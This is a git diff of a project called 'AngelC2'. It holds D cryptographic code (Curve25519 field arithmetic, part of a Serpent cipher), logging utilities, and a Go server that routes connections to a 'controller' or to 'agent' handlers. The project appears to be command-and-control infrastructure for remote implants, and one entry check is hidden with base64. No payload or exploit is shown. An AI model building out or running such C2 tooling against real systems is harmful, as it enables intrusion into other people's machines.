1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. +/// +/// Postconditions: +/// |h| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. +public fe fe_mul121666(in ref fe f) pure +{ + int f0 = f[0]; + int f1 = f[1]; + int f2 = f[2]; + int f3 = f[3]; + int f4 = f[4]; + int f5 = f[5]; + int f6 = f[6]; + int f7 = f[7]; + int f8 = f[8]; + int f9 = f[9]; + long h0 = f0 * cast(long) 121666; + long h1 = f1 * cast(long) 121666; + long h2 = f2 * cast(long) 121666; + long h3 = f3 * cast(long) 121666; + long h4 = f4 * cast(long) 121666; + long h5 = f5 * cast(long) 121666; + long h6 = f6 * cast(long) 121666; + long h7 = f7 * cast(long) 121666; + long h8 = f8 * cast(long) 121666; + long h9 = f9 * cast(long) 121666; + long carry0; + long carry1; + long carry2; + long carry3; + long carry4; + long carry5; + long carry6; + long carry7; + long carry8; + long carry9; + + carry9 = (h9 + cast(long) (1<<24)) >> 25; h0 += carry9 * 19; h9 -= carry9 << 25; + carry1 = (h1 + cast(long) (1<<24)) >> 25; h2 += carry1; h1 -= carry1 << 25; + carry3 = (h3 + cast(long) (1<<24)) >> 25; h4 += carry3; h3 -= carry3 << 25; + carry5 = (h5 + cast(long) (1<<24)) >> 25; h6 += carry5; h5 -= carry5 << 25; + carry7 = (h7 + cast(long) (1<<24)) >> 25; h8 += carry7; h7 -= carry7 << 25; + + carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= carry0 << 26; + carry2 = (h2 + cast(long) (1<<25)) >> 26; h3 += carry2; h2 -= carry2 << 26; + carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= carry4 << 26; + carry6 = (h6 + cast(long) (1<<25)) >> 26; h7 += carry6; h6 -= carry6 << 26; + carry8 = (h8 + cast(long) (1<<25)) >> 26; h9 += carry8; h8 -= carry8 << 26; + + fe h; + h[0] = cast(uint) h0; + h[1] = cast(uint) h1; + h[2] = cast(uint) h2; + h[3] = cast(uint) h3; + h[4] = cast(uint) h4; + h[5] = cast(uint) h5; + h[6] = cast(uint) h6; + h[7] = cast(uint) h7; + h[8] = cast(uint) h8; + h[9] = cast(uint) h9; + + return h; +} + +/// Returns: z^(2^(225-23)) +package fe fe_pow22523(in ref fe z) pure +{ + fe t0; + fe t1; + fe t2; + t0 = z.sq; + t1 = t0.sq.sq; + + t1 *= z; + t0 *= t1; + t0 = t0.sq; + t0 *= t1; + + // t1 = z.cpow!9; + // t0 = z.cpow!31; + + t1 = t0.sq!5; + + t0 *= t1; + + t1 = t0.sq!10; + + t1 *= t0; + + t2 = t1.sq!20; + + t1 *= t2; + + t1 = t1.sq!10; + + t0 *= t1; + + t1 = t0.sq!50; + + t1 *= t0; + + t2 = t1.sq!100; + + t1 *= t2; + + t1 = t1.sq!50; + + t0 *= t1; + t0 = t0.sq.sq; + + return t0 * z; +} + + +/** + Returns: h = f * f + Can overlap h with f. + + Preconditions: + |f| bounded by 1.65*2^26,1.65*2^25,1.65*2^26,1.65*2^25,etc. + + Postconditions: + |h| bounded by 1.01*2^25,1.01*2^24,1.01*2^25,1.01*2^24,etc. + + Note: + See fe_mul.c for discussion of implementation strategy. + */ +private fe fe_sq(in ref fe f) pure +{ + int f0 = f[0]; + int f1 = f[1]; + int f2 = f[2]; + int f3 = f[3]; + int f4 = f[4]; + int f5 = f[5]; + int f6 = f[6]; + int f7 = f[7]; + int f8 = f[8]; + int f9 = f[9]; + int f0_2 = 2 * f0; + int f1_2 = 2 * f1; + int f2_2 = 2 * f2; + int f3_2 = 2 * f3; + int f4_2 = 2 * f4; + int f5_2 = 2 * f5; + int f6_2 = 2 * f6; + int f7_2 = 2 * f7; + int f5_38 = 38 * f5; /* 1.959375*2^30 */ + int f6_19 = 19 * f6; /* 1.959375*2^30 */ + int f7_38 = 38 * f7; /* 1.959375*2^30 */ + int f8_19 = 19 * f8; /* 1.959375*2^30 */ + int f9_38 = 38 * f9; /* 1.959375*2^30 */ + long f0f0 = f0 * cast(long) f0; + long f0f1_2 = f0_2 * cast(long) f1; + long f0f2_2 = f0_2 * cast(long) f2; + long f0f3_2 = f0_2 * cast(long) f3; + long f0f4_2 = f0_2 * cast(long) f4; + long f0f5_2 = f0_2 * cast(long) f5; + long f0f6_2 = f0_2 * cast(long) f6; + long f0f7_2 = f0_2 * cast(long) f7; + long f0f8_2 = f0_2 * cast(long) f8; + long f0f9_2 = f0_2 * cast(long) f9; + long f1f1_2 = f1_2 * cast(long) f1; + long f1f2_2 = f1_2 * cast(long) f2; + long f1f3_4 = f1_2 * cast(long) f3_2; + long f1f4_2 = f1_2 * cast(long) f4; + long f1f5_4 = f1_2 * cast(long) f5_2; + long f1f6_2 = f1_2 * cast(long) f6; + long f1f7_4 = f1_2 * cast(long) f7_2; + long f1f8_2 = f1_2 * cast(long) f8; + long f1f9_76 = f1_2 * cast(long) f9_38; + long f2f2 = f2 * cast(long) f2; + long f2f3_2 = f2_2 * cast(long) f3; + long f2f4_2 = f2_2 * cast(long) f4; + long f2f5_2 = f2_2 * cast(long) f5; + long f2f6_2 = f2_2 * cast(long) f6; + long f2f7_2 = f2_2 * cast(long) f7; + long f2f8_38 = f2_2 * cast(long) f8_19; + long f2f9_38 = f2 * cast(long) f9_38; + long f3f3_2 = f3_2 * cast(long) f3; + long f3f4_2 = f3_2 * cast(long) f4; + long f3f5_4 = f3_2 * cast(long) f5_2; + long f3f6_2 = f3_2 * cast(long) f6; + long f3f7_76 = f3_2 * cast(long) f7_38; + long f3f8_38 = f3_2 * cast(long) f8_19; + long f3f9_76 = f3_2 * cast(long) f9_38; + long f4f4 = f4 * cast(long) f4; + long f4f5_2 = f4_2 * cast(long) f5; + long f4f6_38 = f4_2 * cast(long) f6_19; + long f4f7_38 = f4 * cast(long) f7_38; + long f4f8_38 = f4_2 * cast(long) f8_19; + long f4f9_38 = f4 * cast(long) f9_38; + long f5f5_38 = f5 * cast(long) f5_38; + long f5f6_38 = f5_2 * cast(long) f6_19; + long f5f7_76 = f5_2 * cast(long) f7_38; + long f5f8_38 = f5_2 * cast(long) f8_19; + long f5f9_76 = f5_2 * cast(long) f9_38; + long f6f6_19 = f6 * cast(long) f6_19; + long f6f7_38 = f6 * cast(long) f7_38; + long f6f8_38 = f6_2 * cast(long) f8_19; + long f6f9_38 = f6 * cast(long) f9_38; + long f7f7_38 = f7 * cast(long) f7_38; + long f7f8_38 = f7_2 * cast(long) f8_19; + long f7f9_76 = f7_2 * cast(long) f9_38; + long f8f8_19 = f8 * cast(long) f8_19; + long f8f9_38 = f8 * cast(long) f9_38; + long f9f9_38 = f9 * cast(long) f9_38; + long h0 = f0f0 +f1f9_76+f2f8_38+f3f7_76+f4f6_38+f5f5_38; + long h1 = f0f1_2+f2f9_38+f3f8_38+f4f7_38+f5f6_38; + long h2 = f0f2_2+f1f1_2 +f3f9_76+f4f8_38+f5f7_76+f6f6_19; + long h3 = f0f3_2+f1f2_2 +f4f9_38+f5f8_38+f6f7_38; + long h4 = f0f4_2+f1f3_4 +f2f2 +f5f9_76+f6f8_38+f7f7_38; + long h5 = f0f5_2+f1f4_2 +f2f3_2 +f6f9_38+f7f8_38; + long h6 = f0f6_2+f1f5_4 +f2f4_2 +f3f3_2 +f7f9_76+f8f8_19; + long h7 = f0f7_2+f1f6_2 +f2f5_2 +f3f4_2 +f8f9_38; + long h8 = f0f8_2+f1f7_4 +f2f6_2 +f3f5_4 +f4f4 +f9f9_38; + long h9 = f0f9_2+f1f8_2 +f2f7_2 +f3f6_2 +f4f5_2; + long carry0; + long carry1; + long carry2; + long carry3; + long carry4; + long carry5; + long carry6; + long carry7; + long carry8; + long carry9; + + carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); + carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); + + carry1 = (h1 + cast(long) (1<<24)) >> 25; h2 += carry1; h1 -= SHL64(carry1,25); + carry5 = (h5 + cast(long) (1<<24)) >> 25; h6 += carry5; h5 -= SHL64(carry5,25); + + carry2 = (h2 + cast(long) (1<<25)) >> 26; h3 += carry2; h2 -= SHL64(carry2,26); + carry6 = (h6 + cast(long) (1<<25)) >> 26; h7 += carry6; h6 -= SHL64(carry6,26); + + carry3 = (h3 + cast(long) (1<<24)) >> 25; h4 += carry3; h3 -= SHL64(carry3,25); + carry7 = (h7 + cast(long) (1<<24)) >> 25; h8 += carry7; h7 -= SHL64(carry7,25); + + carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); + carry8 = (h8 + cast(long) (1<<25)) >> 26; h9 += carry8; h8 -= SHL64(carry8,26); + + carry9 = (h9 + cast(long) (1<<24)) >> 25; h0 += carry9 * 19; h9 -= SHL64(carry9,25); + + carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); + + fe h; + h[0] = cast(int) h0; + h[1] = cast(int) h1; + h[2] = cast(int) h2; + h[3] = cast(int) h3; + h[4] = cast(int) h4; + h[5] = cast(int) h5; + h[6] = cast(int) h6; + h[7] = cast(int) h7; + h[8] = cast(int) h8; + h[9] = cast(int) h9; + return h; +} + +/** + Returns: h = 2 * f * f + Can overlap h with f. + + Preconditions: + |f| bounded by 1.65*2^26,1.65*2^25,1.65*2^26,1.65*2^25,etc. + + Postconditions: + |h| bounded by 1.01*2^25,1.01*2^24,1.01*2^25,1.01*2^24,etc. + + Note: + See fe_mul.c for discussion of implementation strategy. + */ +private fe fe_sq2(in ref fe f) pure +{ + int f0 = f[0]; + int f1 = f[1]; + int f2 = f[2]; + int f3 = f[3]; + int f4 = f[4]; + int f5 = f[5]; + int f6 = f[6]; + int f7 = f[7]; + int f8 = f[8]; + int f9 = f[9]; + int f0_2 = 2 * f0; + int f1_2 = 2 * f1; + int f2_2 = 2 * f2; + int f3_2 = 2 * f3; + int f4_2 = 2 * f4; + int f5_2 = 2 * f5; + int f6_2 = 2 * f6; + int f7_2 = 2 * f7; + int f5_38 = 38 * f5; /* 1.959375*2^30 */ + int f6_19 = 19 * f6; /* 1.959375*2^30 */ + int f7_38 = 38 * f7; /* 1.959375*2^30 */ + int f8_19 = 19 * f8; /* 1.959375*2^30 */ + int f9_38 = 38 * f9; /* 1.959375*2^30 */ + long f0f0 = f0 * cast(long) f0; + long f0f1_2 = f0_2 * cast(long) f1; + long f0f2_2 = f0_2 * cast(long) f2; + long f0f3_2 = f0_2 * cast(long) f3; + long f0f4_2 = f0_2 * cast(long) f4; + long f0f5_2 = f0_2 * cast(long) f5; + long f0f6_2 = f0_2 * cast(long) f6; + long f0f7_2 = f0_2 * cast(long) f7; + long f0f8_2 = f0_2 * cast(long) f8; + long f0f9_2 = f0_2 * cast(long) f9; + long f1f1_2 = f1_2 * cast(long) f1; + long f1f2_2 = f1_2 * cast(long) f2; + long f1f3_4 = f1_2 * cast(long) f3_2; + long f1f4_2 = f1_2 * cast(long) f4; + long f1f5_4 = f1_2 * cast(long) f5_2; + long f1f6_2 = f1_2 * cast(long) f6; + long f1f7_4 = f1_2 * cast(long) f7_2; + long f1f8_2 = f1_2 * cast(long) f8; + long f1f9_76 = f1_2 * cast(long) f9_38; + long f2f2 = f2 * cast(long) f2; + long f2f3_2 = f2_2 * cast(long) f3; + long f2f4_2 = f2_2 * cast(long) f4; + long f2f5_2 = f2_2 * cast(long) f5; + long f2f6_2 = f2_2 * cast(long) f6; + long f2f7_2 = f2_2 * cast(long) f7; + long f2f8_38 = f2_2 * cast(long) f8_19; + long f2f9_38 = f2 * cast(long) f9_38; + long f3f3_2 = f3_2 * cast(long) f3; + long f3f4_2 = f3_2 * cast(long) f4; + long f3f5_4 = f3_2 * cast(long) f5_2; + long f3f6_2 = f3_2 * cast(long) f6; + long f3f7_76 = f3_2 * cast(long) f7_38; + long f3f8_38 = f3_2 * cast(long) f8_19; + long f3f9_76 = f3_2 * cast(long) f9_38; + long f4f4 = f4 * cast(long) f4; + long f4f5_2 = f4_2 * cast(long) f5; + long f4f6_38 = f4_2 * cast(long) f6_19; + long f4f7_38 = f4 * cast(long) f7_38; + long f4f8_38 = f4_2 * cast(long) f8_19; + long f4f9_38 = f4 * cast(long) f9_38; + long f5f5_38 = f5 * cast(long) f5_38; + long f5f6_38 = f5_2 * cast(long) f6_19; + long f5f7_76 = f5_2 * cast(long) f7_38; + long f5f8_38 = f5_2 * cast(long) f8_19; + long f5f9_76 = f5_2 * cast(long) f9_38; + long f6f6_19 = f6 * cast(long) f6_19; + long f6f7_38 = f6 * cast(long) f7_38; + long f6f8_38 = f6_2 * cast(long) f8_19; + long f6f9_38 = f6 * cast(long) f9_38; + long f7f7_38 = f7 * cast(long) f7_38; + long f7f8_38 = f7_2 * cast(long) f8_19; + long f7f9_76 = f7_2 * cast(long) f9_38; + long f8f8_19 = f8 * cast(long) f8_19; + long f8f9_38 = f8 * cast(long) f9_38; + long f9f9_38 = f9 * cast(long) f9_38; + long h0 = f0f0 +f1f9_76+f2f8_38+f3f7_76+f4f6_38+f5f5_38; + long h1 = f0f1_2+f2f9_38+f3f8_38+f4f7_38+f5f6_38; + long h2 = f0f2_2+f1f1_2 +f3f9_76+f4f8_38+f5f7_76+f6f6_19; + long h3 = f0f3_2+f1f2_2 +f4f9_38+f5f8_38+f6f7_38; + long h4 = f0f4_2+f1f3_4 +f2f2 +f5f9_76+f6f8_38+f7f7_38; + long h5 = f0f5_2+f1f4_2 +f2f3_2 +f6f9_38+f7f8_38; + long h6 = f0f6_2+f1f5_4 +f2f4_2 +f3f3_2 +f7f9_76+f8f8_19; + long h7 = f0f7_2+f1f6_2 +f2f5_2 +f3f4_2 +f8f9_38; + long h8 = f0f8_2+f1f7_4 +f2f6_2 +f3f5_4 +f4f4 +f9f9_38; + long h9 = f0f9_2+f1f8_2 +f2f7_2 +f3f6_2 +f4f5_2; + long carry0; + long carry1; + long carry2; + long carry3; + long carry4; + long carry5; + long carry6; + long carry7; + long carry8; + long carry9; + + h0 += h0; + h1 += h1; + h2 += h2; + h3 += h3; + h4 += h4; + h5 += h5; + h6 += h6; + h7 += h7; + h8 += h8; + h9 += h9; + + carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); + carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); + + carry1 = (h1 + cast(long) (1<<24)) >> 25; h2 += carry1; h1 -= SHL64(carry1,25); + carry5 = (h5 + cast(long) (1<<24)) >> 25; h6 += carry5; h5 -= SHL64(carry5,25); + + carry2 = (h2 + cast(long) (1<<25)) >> 26; h3 += carry2; h2 -= SHL64(carry2,26); + carry6 = (h6 + cast(long) (1<<25)) >> 26; h7 += carry6; h6 -= SHL64(carry6,26); + + carry3 = (h3 + cast(long) (1<<24)) >> 25; h4 += carry3; h3 -= SHL64(carry3,25); + carry7 = (h7 + cast(long) (1<<24)) >> 25; h8 += carry7; h7 -= SHL64(carry7,25); + + carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); + carry8 = (h8 + cast(long) (1<<25)) >> 26; h9 += carry8; h8 -= SHL64(carry8,26); + + carry9 = (h9 + cast(long) (1<<24)) >> 25; h0 += carry9 * 19; h9 -= SHL64(carry9,25); + + carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); + + fe h; + h[0] = cast(int) h0; + h[1] = cast(int) h1; + h[2] = cast(int) h2; + h[3] = cast(int) h3; + h[4] = cast(int) h4; + h[5] = cast(int) h5; + h[6] = cast(int) h6; + h[7] = cast(int) h7; + h[8] = cast(int) h8; + h[9] = cast(int) h9; + return h; +} + +///** +// Returns: h = f - g +// Can overlap h with f or g. +// +// Preconditions: +// |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. +// |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. +// +// Postconditions: +// |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. +// */ +//void fe_sub(ref fe h, in ref fe f, in ref fe g) +//{ +// h[] = f[] - g[]; +//} + + +/** + * + * Params: + * s = 32 byte buffer + * + Preconditions: + |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. + + Write p=2^255-19; q=floor(h/p). + Basic claim: q = floor(2^(-255)(h + 19 2^(-25)h9 + 2^(-1))). + + Proof: + Have |h|<=p so |q|<=1 so |19^2 2^(-255) q|<1/4. + Also have |h-2^230 h9|<2^231 so |19 2^(-255)(h-2^230 h9)|<1/4. + + Write y=2^(-1)-19^2 2^(-255)q-19 2^(-255)(h-2^230 h9). + Then 0> 25; + q = (h0 + q) >> 26; + q = (h1 + q) >> 25; + q = (h2 + q) >> 26; + q = (h3 + q) >> 25; + q = (h4 + q) >> 26; + q = (h5 + q) >> 25; + q = (h6 + q) >> 26; + q = (h7 + q) >> 25; + q = (h8 + q) >> 26; + q = (h9 + q) >> 25; + + /* Goal: Output h-(2^255-19)q, which is between 0 and 2^255-20. */ + h0 += 19 * q; + /* Goal: Output h-2^255 q, which is between 0 and 2^255-20. */ + + carry0 = h0 >> 26; h1 += carry0; h0 -= carry0 << 26; + carry1 = h1 >> 25; h2 += carry1; h1 -= carry1 << 25; + carry2 = h2 >> 26; h3 += carry2; h2 -= carry2 << 26; + carry3 = h3 >> 25; h4 += carry3; h3 -= carry3 << 25; + carry4 = h4 >> 26; h5 += carry4; h4 -= carry4 << 26; + carry5 = h5 >> 25; h6 += carry5; h5 -= carry5 << 25; + carry6 = h6 >> 26; h7 += carry6; h6 -= carry6 << 26; + carry7 = h7 >> 25; h8 += carry7; h7 -= carry7 << 25; + carry8 = h8 >> 26; h9 += carry8; h8 -= carry8 << 26; + carry9 = h9 >> 25; h9 -= carry9 << 25; + /* h10 = carry9 */ + + /* + Goal: Output h0+...+2^255 h10-2^255 q, which is between 0 and 2^255-20. + Have h0+...+2^230 h9 between 0 and 2^255-1; + evidently 2^255 h10-2^255 q = 0. + Goal: Output h0+...+2^230 h9. + */ + + ubyte[32] s; + s[0] = cast(ubyte) (h0 >> 0); + s[1] = cast(ubyte) (h0 >> 8); + s[2] = cast(ubyte) (h0 >> 16); + s[3] = cast(ubyte) (((h0 >> 24) | (h1 << 2))); + s[4] = cast(ubyte) (h1 >> 6); + s[5] = cast(ubyte) (h1 >> 14); + s[6] = cast(ubyte) (((h1 >> 22) | (h2 << 3))); + s[7] = cast(ubyte) (h2 >> 5); + s[8] = cast(ubyte) (h2 >> 13); + s[9] = cast(ubyte) (((h2 >> 21) | (h3 << 5))); + s[10] = cast(ubyte) (h3 >> 3); + s[11] = cast(ubyte) (h3 >> 11); + s[12] = cast(ubyte) (((h3 >> 19) | (h4 << 6))); + s[13] = cast(ubyte) (h4 >> 2); + s[14] = cast(ubyte) (h4 >> 10); + s[15] = cast(ubyte) (h4 >> 18); + s[16] = cast(ubyte) (h5 >> 0); + s[17] = cast(ubyte) (h5 >> 8); + s[18] = cast(ubyte) (h5 >> 16); + s[19] = cast(ubyte) (((h5 >> 24) | (h6 << 1))); + s[20] = cast(ubyte) (h6 >> 7); + s[21] = cast(ubyte) (h6 >> 15); + s[22] = cast(ubyte) (((h6 >> 23) | (h7 << 3))); + s[23] = cast(ubyte) (h7 >> 5); + s[24] = cast(ubyte) (h7 >> 13); + s[25] = cast(ubyte) (((h7 >> 21) | (h8 << 4))); + s[26] = cast(ubyte) (h8 >> 4); + s[27] = cast(ubyte) (h8 >> 12); + s[28] = cast(ubyte) (((h8 >> 20) | (h9 << 6))); + s[29] = cast(ubyte) (h9 >> 2); + s[30] = cast(ubyte) (h9 >> 10); + s[31] = cast(ubyte) (h9 >> 18); + + return s; +} + +/// Conditional swap. +/// Replace (f,g) with (g,f) if b == 1; +/// replace (f,g) with (f,g) if b == 0. +/// Params: +/// b = 0 or 1 +void fe_cswap(ref fe f, ref fe g, in uint b) +in { + assert(b == 0 || b == 1); +} body +{ + // TODO refactor + immutable uint mask = -b; + + assert(mask == 0 || mask == 0xFFFFFFFF); + + f[] ^= mask & g[]; + g[] ^= mask & f[]; + f[] ^= mask & g[]; +} + +unittest { + fe a; + fe b; + a[] = 1; + b[] = 2; + fe A = 1; + fe B = 2; + + fe_cswap(A, B, 0); + assert(A == a); + assert(B == b); + fe_cswap(A, B, 1); + assert(A == b); + assert(B == a); +} \ No newline at end of file diff --git a/v1/go.mod b/v1/go.mod new file mode 100644 index 0000000..b84a5ab --- /dev/null +++ b/v1/go.mod @@ -0,0 +1,8 @@ +module angel_server + +go 1.23.3 + +require ( + github.com/mattn/go-sqlite3 v1.14.24 // indirect + golang.org/x/crypto v0.32.0 // indirect +) diff --git a/v1/go.sum b/v1/go.sum new file mode 100644 index 0000000..a4407d2 --- /dev/null +++ b/v1/go.sum @@ -0,0 +1,4 @@ +github.com/mattn/go-sqlite3 v1.14.24 h1:tpSp2G2KyMnnQu99ngJ47EIkWVmliIizyZBfPrBWDRM= +github.com/mattn/go-sqlite3 v1.14.24/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= +golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc= +golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc= diff --git a/v1/handler.go b/v1/handler.go new file mode 100644 index 0000000..c137d81 --- /dev/null +++ b/v1/handler.go @@ -0,0 +1,36 @@ +package conn + +import ( + "angel_server/consts" + "angel_server/db" + "bytes" + "log/slog" + "net" + "strconv" +) + +func handleConnection(conn net.Conn) { + defer conn.Close() + consts.Logger.Info("Received conn", slog.String("remote", conn.RemoteAddr().String())) + + role := make([]byte, 8) + n, err := conn.Read(role) + if err != nil { + consts.Logger.Error("Failed to read role", slog.String("error", err.Error())) + return + } + + layer_id := string(bytes.TrimSpace(role[:n])) + consts.Logger.Debug(layer_id) + + int_meow, _ := strconv.Atoi(layer_id) + if (int_meow == 0) { + controller_impl(conn) + } else if (db.CheckLayer(consts.Db, int_meow)) { + agent_impl(conn, int_meow) + } else { + conn.Close() + } + + consts.Logger.Info("Lost conn", slog.String("remote", conn.RemoteAddr().String())) +} diff --git a/v1/init.d b/v1/init.d new file mode 100644 index 0000000..92e0ea2 --- /dev/null +++ b/v1/init.d @@ -0,0 +1,14 @@ +module angel.utils.init; + +// Internal imports +import angel.utils.constants; +import angel.utils.logging; +// External imports +import std.stdio; +import std.file; + +void init() { + if (!exists(Constants.workdir)) { + mkdir(Constants.workdir); + } +} \ No newline at end of file diff --git a/v1/linux_core.d b/v1/linux_core.d new file mode 100644 index 0000000000000000000000000000000000000000000000000000000000000000..8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3 GIT binary patch literal 1024 ScmZQz7zLvtFd70QH3R?z00031 literal 0 HcmV?d00001 diff --git a/v1/logger.py b/v1/logger.py new file mode 100644 index 0000000..69a6ab9 --- /dev/null +++ b/v1/logger.py @@ -0,0 +1,18 @@ +import logging + +log = logging.getLogger(__name__) + + +class Logger: + def __init__(self): + logging.basicConfig( + format="%(levelname)s:%(asctime)s - %(message)s", + datefmt="%m/%d/%Y %I:%M:%S %p", + ) + log.setLevel(logging.INFO) + form = logging.Formatter( + "%(levelname)s:%(asctime)s - %(message)s", datefmt="%m/%d/%Y %I:%M:%S %p" + ) + file_handler = logging.FileHandler("angel.log") + file_handler.setFormatter(form) + log.addHandler(file_handler) diff --git a/v1/logging.d b/v1/logging.d new file mode 100644 index 0000000..ef1c711 --- /dev/null +++ b/v1/logging.d @@ -0,0 +1,58 @@ +module angel.utils.logging; + +// Internal imports +import angel.config : config; +import angel.utils.constants; +// External imports +import std.stdio; +import std.datetime; +import std.file; +import std.format; +import std.string; + +enum LogLevel { + Debug, + Event, + Warning, + Error +} + +class Logger { + private static string getTimestamp() { + auto now = Clock.currTime(); + return format!"%04d-%02d-%02d %02d:%02d:%02d"( + now.year, now.month, now.day, + now.hour, now.minute, now.second + ); + } + + private static string getLogSymbol(LogLevel level) { + switch (level) { + case LogLevel.Debug: return "[*]"; + case LogLevel.Event: return "[i]"; + case LogLevel.Warning: return "[!]"; + case LogLevel.Error: return "[E]"; + default: return "[?]"; + } + } + + private static void writeToFile(string message) { + auto file = File(Constants.logFilePath, "a"); + file.write(message ~ "\n"); + file.close(); + } + + public static void log(LogLevel level, string message) { + auto timestamp = getTimestamp(); + auto symbol = getLogSymbol(level); + + auto logMessage = timestamp ~ " " ~ symbol ~ " " ~ message; + + writeToFile(logMessage); + if (level == LogLevel.Debug && !config.debug_mode) { + return; + } else { + writeln(logMessage); + } + } +} diff --git a/v1/logging.go b/v1/logging.go new file mode 100644 index 0000000..aba4390 --- /dev/null +++ b/v1/logging.go @@ -0,0 +1,69 @@ +package logging + +import ( + "context" + "log/slog" + "os" +) + +var Logger *slog.Logger + +type MultiHandler struct { + handlers []slog.Handler +} + +func (m *MultiHandler) Enabled(ctx context.Context, level slog.Level) bool { + for _, h := range m.handlers { + if h.Enabled(ctx, level) { + return true + } + } + return false +} + +func (m *MultiHandler) Handle(ctx context.Context, record slog.Record) error { + for _, h := range m.handlers { + _ = h.Handle(ctx, record) + } + return nil +} + +func (m *MultiHandler) WithAttrs(attrs []slog.Attr) slog.Handler { + newHandlers := make([]slog.Handler, len(m.handlers)) + for i, h := range m.handlers { + newHandlers[i] = h.WithAttrs(attrs) + } + return &MultiHandler{handlers: newHandlers} +} + +func (m *MultiHandler) WithGroup(name string) slog.Handler { + newHandlers := make([]slog.Handler, len(m.handlers)) + for i, h := range m.handlers { + newHandlers[i] = h.WithGroup(name) + } + return &MultiHandler{handlers: newHandlers} +} + +func InitLogger() { + logFile, err := os.OpenFile("../angel_api-server.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + if err != nil { + slog.Default().Error("Error opening log file", "error", err) + return + } + + fileHandler := slog.NewJSONHandler(logFile, &slog.HandlerOptions{Level: slog.LevelDebug}) + consoleHandler := slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug}) + + multiHandler := &MultiHandler{handlers: []slog.Handler{fileHandler, consoleHandler}} + + Logger = slog.New(multiHandler) + + slog.SetDefault(Logger) +} + +func GetLogger() *slog.Logger { + if Logger == nil { + InitLogger() + } + return Logger +} diff --git a/v1/main.go b/v1/main.go new file mode 100644 index 0000000..142a730 --- /dev/null +++ b/v1/main.go @@ -0,0 +1,13 @@ +package main + +import ( + "angel_server/conn" + "angel_server/extra" + "angel_server/logging" +) + +func main() { + logging.InitLogger() + extra.Init() + conn.Start_serv() +} \ No newline at end of file diff --git a/v1/main.py b/v1/main.py new file mode 100644 index 0000000..b36ef5e --- /dev/null +++ b/v1/main.py @@ -0,0 +1,24 @@ +import base64 + +from utils.logger import * +from utils.conn import * +from utils.mod import * +from constants import * + +__name__ = "AngelC2" +__version__ = "0.1.0" +__authors__ = "hk21" + + +class Angel: + def __init__(self): + Logger() + Utils.clear_shell() + print(Consts.banner) + + log.info("welc to angel net shell, fellow kitten!") + Conn() + + +if __name__ == base64.b64decode(b"QW5nZWxDMg==").decode("utf-8"): + Angel() diff --git a/v1/mod.py b/v1/mod.py new file mode 100644 index 0000000..78ca2af --- /dev/null +++ b/v1/mod.py @@ -0,0 +1,11 @@ +import os +from sys import platform + + +class Utils: + @staticmethod + def clear_shell(): + if platform == "win32": + os.system("cls") + else: + os.system("clear") diff --git a/v1/parse.d b/v1/parse.d new file mode 100644 index 0000000000000000000000000000000000000000000000000000000000000000..8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3 GIT binary patch literal 1024 ScmZQz7zLvtFd70QH3R?z00031 literal 0 HcmV?d00001 diff --git a/v1/serpent.d b/v1/serpent.d new file mode 100644 index 0000000..76ea3a1 --- /dev/null +++ b/v1/serpent.d @@ -0,0 +1,1030 @@ +module angel.utils.cryptography.serpent; + +import angel.utils.cryptography.blockcipher; +import angel.utils.cryptography.bitmanip; + +/// Test serpent engine. Test vectors generated with BouncyCastle implementation. +unittest { + + string[] keys = [ + x"01010101010101010101010101010101", + x"0101010101010101010101010101010101010101", + x"010101010101010101010101010101010101010101010101", + x"01010101010101010101010101010101010101010101010101010101", + x"0101010101010101010101010101010101010101010101010101010101010101", + ]; + string[] plains = [ + x"01010101010101010101010101010101", + x"01010101010101010101010101010101", + x"01010101010101010101010101010101", + x"01010101010101010101010101010101", + x"01010101010101010101010101010101", + ]; + string[] ciphers = [ + x"63fc6f65f3f71e6d99d981be6de30751", + x"bc794e453a1b0bfd2475f2a40bf842ba", + x"292a63c6d15db833f38b40b153cc303c", + x"80808b4b6e93b6ff929a6105b508acbe", + x"4827fcff24454cf889642a5bb12397ec", + ]; + + SerpentEngine t = new SerpentEngine(); + blockCipherTest(t, keys, plains, ciphers); +} + +alias BlockCipherWrapper!Serpent SerpentEngine; + +/** + * Serpent is a 128-bit 32-round block cipher with variable key lengths, + * including 128, 192 and 256 bit keys conjectured to be at least as + * secure as three-key triple-DES. + *

+ * Serpent was designed by Ross Anderson, Eli Biham and Lars Knudsen as a + * candidate algorithm for the NIST AES Quest.> + *

